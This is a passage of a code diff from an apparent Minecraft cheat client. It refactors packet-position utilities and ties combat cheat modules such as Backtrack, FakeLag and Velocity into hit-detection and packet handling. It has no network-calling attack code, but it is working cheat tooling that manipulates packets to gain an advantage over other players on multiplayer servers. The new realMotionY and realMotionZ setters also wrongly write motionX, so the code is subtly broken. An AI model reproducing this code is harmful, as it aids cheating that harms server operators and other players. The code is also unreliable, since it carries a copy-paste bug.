as? IMixinEntity)?.apply { + updateSpawnPosition(Vec3(packet.realX, packet.realY, packet.realZ)) + } - is S0FPacketSpawnMob -> - (world.getEntityByID(packet.entityID) as? IMixinEntity)?.apply { - trueX = packet.realX - trueY = packet.realY - trueZ = packet.realZ - truePos = true - } + is S0FPacketSpawnMob -> (world.getEntityByID(packet.entityID) as? IMixinEntity)?.apply { + updateSpawnPosition(Vec3(packet.realX, packet.realY, packet.realZ)) + } is S14PacketEntity -> { val entity = packet.getEntity(world) @@ -78,10 +57,7 @@ object PacketUtils : MinecraftInstance(), Listenable { mixinEntity?.apply { if (!truePos) { - trueX = entity.posX - trueY = entity.posY - trueZ = entity.posZ - truePos = true + updateSpawnPosition(entity.currPos) } trueX += packet.realMotionX @@ -90,13 +66,32 @@ object PacketUtils : MinecraftInstance(), Listenable { } } - is S18PacketEntityTeleport -> - (world.getEntityByID(packet.entityId) as? IMixinEntity)?.apply { - trueX = packet.realX - trueY = packet.realY - trueZ = packet.realZ - truePos = true - } + is S18PacketEntityTeleport -> (world.getEntityByID(packet.entityId) as? IMixinEntity)?.apply { + updateSpawnPosition(Vec3(packet.realX, packet.realY, packet.realZ), true) + } + } + } + + @EventTarget(priority = -5) + fun onGameLoop(event: GameLoopEvent) { + synchronized(queuedPackets) { + queuedPackets.forEach { + handlePacket(it) + val packetEvent = PacketEvent(it, EventState.RECEIVE) + FakeLag.onPacket(packetEvent) + Velocity.onPacket(packetEvent) + } + + queuedPackets.clear() + } + } + + @EventTarget(priority = -1) + fun onDisconnect(event: WorldEvent) { + if (event.worldClient == null) { + synchronized(queuedPackets) { + queuedPackets.clear() + } } } @@ -123,45 +118,8 @@ object PacketUtils : MinecraftInstance(), Listenable { } @JvmStatic - fun sendPacketNoEvent(packet: Packet) { - packets.add(packet) - mc.netHandler.addToSendQueue(packet) - } - - val S12PacketEntityVelocity.realMotionX: Float - get() = motionX / 8000f - - val S12PacketEntityVelocity.realMotionY: Float - get() = motionY / 8000f - - val S12PacketEntityVelocity.realMotionZ: Float - get() = motionZ / 8000f - val S0CPacketSpawnPlayer.realX - get() = x / 32.0 - val S0CPacketSpawnPlayer.realY - get() = y / 32.0 - val S0CPacketSpawnPlayer.realZ - get() = z / 32.0 - - val S0FPacketSpawnMob.realX - get() = x / 32.0 - val S0FPacketSpawnMob.realY - get() = y / 32.0 - val S0FPacketSpawnMob.realZ - get() = z / 32.0 - - val S18PacketEntityTeleport.realX - get() = x / 32.0 - val S18PacketEntityTeleport.realY - get() = y / 32.0 - val S18PacketEntityTeleport.realZ - get() = z / 32.0 - val S14PacketEntity.realMotionX - get() = func_149062_c() / 32.0 - val S14PacketEntity.realMotionY - get() = func_149061_d() / 32.0 - val S14PacketEntity.realMotionZ - get() = func_149064_e() / 32.0 + fun sendPackets(vararg packets: Packet<*>, triggerEvents: Boolean = true) = + packets.forEach { sendPacket(it, triggerEvents) } fun handlePackets(vararg packets: Packet<*>) = packets.forEach { handlePacket(it) } @@ -171,48 +129,95 @@ object PacketUtils : MinecraftInstance(), Listenable { } } - @EventTarget(priority = -5) - fun onGameLoop(event: GameLoopEvent) { - synchronized(queuedPackets) { - queuedPackets.forEach { - handlePacket(it) - val packetEvent = PacketEvent(it, EventState.RECEIVE) - FakeLag.onPacket(packetEvent) - Velocity.onPacket(packetEvent) - } - - queuedPackets.clear() + val Packet<*>.type + get() = when (this.javaClass.simpleName[0]) { + 'C' -> PacketType.CLIENT + 'S' -> PacketType.SERVER + else -> PacketType.UNKNOWN } - } - @EventTarget(priority = -1) - fun onDisconnect(event: WorldEvent) { - if (event.worldClient == null) { - synchronized(queuedPackets) { - queuedPackets.clear() - } - } + enum class PacketType { CLIENT, SERVER, UNKNOWN } +} + +fun IMixinEntity.updateSpawnPosition(target: Vec3, ignoreInterpolation: Boolean = false) { + trueX = target.xCoord + trueY = target.yCoord + trueZ = target.zCoord + if (!ignoreInterpolation) { + lerpX = trueX + lerpY = trueY + lerpZ = trueZ } + truePos = true +} - fun getPacketType(packet: Packet<*>): PacketType { - val className = packet.javaClass.simpleName - if (className.startsWith("C", ignoreCase = true)) { - return PacketType.CLIENTSIDE - } else if (className.startsWith("S", ignoreCase = true)) { - return PacketType.SERVERSIDE - } - // idk... - return PacketType.UNKNOWN +fun interpolatePosition(entity: IMixinEntity) = entity.run { + val delta = RenderUtils.deltaTimeNormalized(150) + + lerpX += (trueX - lerpX) * delta + lerpY += (trueY - lerpY) * delta + lerpZ += (trueZ - lerpZ) * delta +} + +var S12PacketEntityVelocity.realMotionX + get() = motionX / 8000.0 + set(value) { + motionX = (value * 8000.0).roundToInt() + } +var S12PacketEntityVelocity.realMotionY + get() = motionY / 8000.0 + set(value) { + motionX = (value * 8000.0).roundToInt() + } +var S12PacketEntityVelocity.realMotionZ + get() = motionZ / 8000.0 + set(value) { + motionX = (value * 8000.0).roundToInt() } - enum class PacketType { - SERVERSIDE, - CLIENTSIDE, - UNKNOWN +val S14PacketEntity.realMotionX + get() = func_149062_c() / 32.0 +val S14PacketEntity.realMotionY + get() = func_149061_d() / 32.0 +val S14PacketEntity.realMotionZ + get() = func_149064_e() / 32.0 + +var S0EPacketSpawnObject.realX + get() = x / 32.0 + set(value) { + x = (value * 32.0).roundToInt() + } +var S0EPacketSpawnObject.realY + get() = y / 32.0 + set(value) { + y = (value * 32.0).roundToInt() + } +var S0EPacketSpawnObject.realZ + get() = z / 32.0 + set(value) { + z = (value * 32.0).roundToInt() } - override fun handleEvents(): Boolean = true -} +val S0CPacketSpawnPlayer.realX + get() = x / 32.0 +val S0CPacketSpawnPlayer.realY + get() = y / 32.0 +val S0CPacketSpawnPlayer.realZ + get() = z / 32.0 + +val S0FPacketSpawnMob.realX + get() = x / 32.0 +val S0FPacketSpawnMob.realY + get() = y / 32.0 +val S0FPacketSpawnMob.realZ + get() = z / 32.0 + +val S18PacketEntityTeleport.realX + get() = x / 32.0 +val S18PacketEntityTeleport.realY + get() = y / 32.0 +val S18PacketEntityTeleport.realZ + get() = z / 32.0 var C03PacketPlayer.rotation get() = Rotation(yaw, pitch) diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/PlayerUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/PlayerUtils.kt index 8960949..dc029d1 100644 --- a/src/main/java/net/ccbluex/liquidbounce/utils/PlayerUtils.kt +++ b/src/main/java/net/ccbluex/liquidbounce/utils/PlayerUtils.kt @@ -3,6 +3,7 @@ package net.ccbluex.liquidbounce.utils import kevin.utils.minus import kevin.utils.multiply import net.ccbluex.liquidbounce.features.module.modules.client.Animations +import net.ccbluex.liquidbounce.injection.implementations.IMixinEntity import net.ccbluex.liquidbounce.utils.MinecraftInstance.Companion.mc import net.ccbluex.liquidbounce.utils.PacketUtils.sendPacket import net.ccbluex.liquidbounce.utils.block.BlockUtils.getState @@ -31,6 +32,8 @@ val EntityLivingBase.isMoving: Boolean get() = this.run { moveForward != 0F || moveStrafing != 0F } val Entity.rotation: Rotation get() = Rotation(rotationYaw, rotationPitch) +val IMixinEntity.interpolatedPosition + get() = Vec3(lerpX, lerpY, lerpZ) object PlayerUtils { fun randomUnicode(str: String): String { diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/RaycastUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/RaycastUtils.kt index e250099..64523ad 100644 --- a/src/main/java/net/ccbluex/liquidbounce/utils/RaycastUtils.kt +++ b/src/main/java/net/ccbluex/liquidbounce/utils/RaycastUtils.kt @@ -7,6 +7,8 @@ package net.ccbluex.liquidbounce.utils import com.google.common.base.Predicate import com.google.common.base.Predicates +import net.ccbluex.liquidbounce.features.module.modules.combat.Backtrack +import net.ccbluex.liquidbounce.features.module.modules.combat.Backtrack.loopThroughBacktrackData import net.ccbluex.liquidbounce.utils.RotationUtils.Companion.getVectorForRotation import net.ccbluex.liquidbounce.utils.RotationUtils.Companion.serverRotation import net.ccbluex.liquidbounce.utils.extensions.eyes @@ -82,6 +84,8 @@ object RaycastUtils : MinecraftInstance() { // Check newest entity first checkEntity() + if (Backtrack.mode.get() == "Legacy") + loopThroughBacktrackData(entity, checkEntity) } return pointedEntity diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/RenderUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/RenderUtils.kt index 927553c..bfd843f 100644 --- a/src/main/java/net/ccbluex/liquidbounce/utils/render/RenderUtils.kt +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/RenderUtils.kt @@ -47,6 +47,8 @@ object RenderUtils : MinecraftInstance() { private var startTime: Long = 0 private val fakePlayers: MutableMap = HashMap() + fun deltaTimeNormalized(ticks: Int = 50) = (deltaTime / ticks.toDouble()).coerceAtMost(1.0) + @JvmField var deltaTime: Int = 0